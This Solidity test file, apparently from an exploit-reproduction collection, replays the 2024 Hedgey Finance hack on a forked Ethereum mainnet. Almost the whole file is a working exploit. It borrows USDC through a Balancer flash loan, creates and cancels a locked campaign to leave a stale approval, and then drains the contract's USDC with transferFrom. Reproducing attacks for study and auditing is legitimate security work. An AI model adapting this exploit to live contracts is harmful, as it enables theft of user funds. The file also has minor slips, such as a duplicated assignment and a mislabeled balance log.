src/test/2024-04/HedgeyFinance_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 48M USD
8// Attacker : https://etherscan.io/address/0xDed2b1a426E1b7d415A40Bcad44e98F47181dda2
9// Attack Contract : https://etherscan.io/address/0xC793113F1548B97E37c409f39244EE44241bF2b3
10// Vulnerable Contract : https://etherscan.io/address/0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511
11// Attack Tx : https://etherscan.io/tx/0x2606d459a50ca4920722a111745c2eeced1d8a01ff25ee762e22d5d4b1595739
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511#code
15 
16// @Analysis
17// Post-mortem : https://medium.com/@CUBE3AI/hedgey-finance-hack-detected-by-cube3-ai-minutes-before-exploit-1f500e7052d4
18// Twitter Guy : https://twitter.com/Cube3AI/status/1781294512716820918
19// Hacking God :
20 
21enum TokenLockup {
22    Unlocked,
23    Locked,
24    Vesting
25}
26 
27struct Campaign {
28    address manager;
29    address token;
30    uint256 amount;
31    uint256 end;
32    TokenLockup tokenLockup;
33    bytes32 root;
34}
35 
36struct Donation {
37    address tokenLocker;
38    uint256 amount;
39    uint256 rate;
40    uint256 start;
41    uint256 cliff;
42    uint256 period;
43}
44 
45struct ClaimLockup {
46    address tokenLocker;
47    uint256 start;
48    uint256 cliff;
49    uint256 period;
50    uint256 periods;
51}
52 
53interface IClaimCampaigns {
54    function createLockedCampaign(
55        bytes16 id,
56        Campaign memory campaign,
57        ClaimLockup memory claimLockup,
58        Donation memory donation
59    ) external;
60 
61    function cancelCampaign(
62        bytes16 campaignId
63    ) external;
64}
65 
66contract HedgeyFinance is Test {
67    uint256 blocknumToForkFrom = 19_687_890 - 1;
68 
69    IBalancerVault private constant BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
70    IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
71 
72    // HedgeyFinance
73    IClaimCampaigns private constant HedgeyFinance = IClaimCampaigns(0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511);
74 
75    // Stolen money 1.305.000 USD
76    uint256 loan = 1_305_000 * 1e6;
77 
78    function setUp() public {
79        vm.createSelectFork("mainnet", blocknumToForkFrom);
80 
81        vm.label(address(USDC), "USDC");
82        vm.label(address(BalancerVault), "BalancerVault");
83    }
84 
85    function testExploit() public {
86        deal(address(this), 0 ether);
87        emit log_named_decimal_uint("Attacker USDC balance before exploit", address(this).balance, 18);
88 
89        address[] memory tokens = new address[](1);
90        tokens[0] = address(USDC);
91        uint256[] memory amounts = new uint256[](1);
92        amounts[0] = loan;
93 
94        BalancerVault.flashLoan(address(this), tokens, amounts, "");
95 
96        // At this point we have an Approval
97        uint256 HedgeyFinance_balance = USDC.balanceOf(address(HedgeyFinance));
98        USDC.transferFrom(address(HedgeyFinance), address(this), HedgeyFinance_balance);
99 
100        emit log_named_decimal_uint(
101            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
102        );
103    }
104 
105    function receiveFlashLoan(
106        address[] memory,
107        uint256[] memory amounts,
108        uint256[] memory fees,
109        bytes memory
110    ) external payable {
111        // Start new campage
112        USDC.approve(address(HedgeyFinance), loan);
113 
114        // Id
115        bytes16 campaign_id = 0x00000000000000000000000000000001;
116 
117        Campaign memory campaign;
118        campaign.manager = address(this);
119        campaign.token = address(USDC);
120        campaign.amount = loan;
121        campaign.end = 3_133_666_800;
122        campaign.tokenLockup = TokenLockup.Locked;
123        campaign.root = ""; // 0x0000000000000000000000000000000000000000000000000000000000000000
124 
125        ClaimLockup memory claimLockup;
126        claimLockup.tokenLocker = address(this);
127        claimLockup.start = 0;
128        claimLockup.cliff = 0;
129        claimLockup.period = 0;
130        claimLockup.periods = 0;
131 
132        Donation memory donation;
133        donation.tokenLocker = address(this);
134        donation.amount = 0;
135        donation.rate = 0;
136        donation.start = 0;
137        donation.start = 0;
138        donation.cliff = 0;
139        donation.period = 0;
140 
141        HedgeyFinance.createLockedCampaign(campaign_id, campaign, claimLockup, donation);
142 
143        HedgeyFinance.cancelCampaign(campaign_id);
144 
145        // pay back the FlashLoan
146        USDC.transfer(address(BalancerVault), loan);
147    }
148}